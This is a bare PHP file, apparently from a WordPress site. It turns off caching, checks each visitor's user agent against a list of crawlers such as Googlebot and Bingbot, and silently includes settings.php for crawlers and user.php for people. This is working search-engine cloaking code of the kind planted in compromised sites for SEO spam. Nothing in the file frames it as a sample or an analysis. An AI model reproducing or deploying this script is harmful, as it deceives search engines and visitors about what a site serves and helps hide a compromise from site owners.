?php
if (!defined('DONOTCACHEPAGE')) {
    define('DONOTCACHEPAGE', true);
}

header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');
header('Cache-Control: post-check=0, pre-check=0', false);
header('Pragma: no-cache');
header('Expires: 0');

if (!headers_sent()) {
    setcookie('wpengine_nocache', '1', time() + 3600, '/');
}

$user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? strtolower($_SERVER['HTTP_USER_AGENT']) : '';

$bots = array(
    'googlebot', 'google', 'googlebot-image', 'googlebot-news', 'googlebot-mobile', 'google-inspectiontool',
    'slurp', 'spider', 'crawl', 'msnbot', 'yahoo', 'ask jeeves', 'yandexbot', 'bingbot',
    'duckduckbot', 'baiduspider', 'exabot', 'sogou', 'ahrefbot', 'semrushbot',
    'mj12bot', 'applebot', 'facebookexternalhit', 'twitterbot'
);

$is_bot = false;
foreach ($bots as $bot) {
    if (strpos($user_agent, $bot) !== false) {
        $is_bot = true;
        break;
    }
}

if ($is_bot) {
    include(dirname(__FILE__) . '/settings.php');
    exit;
} else {
    include(dirname(__FILE__) . '/user.php');
    exit;
}
?>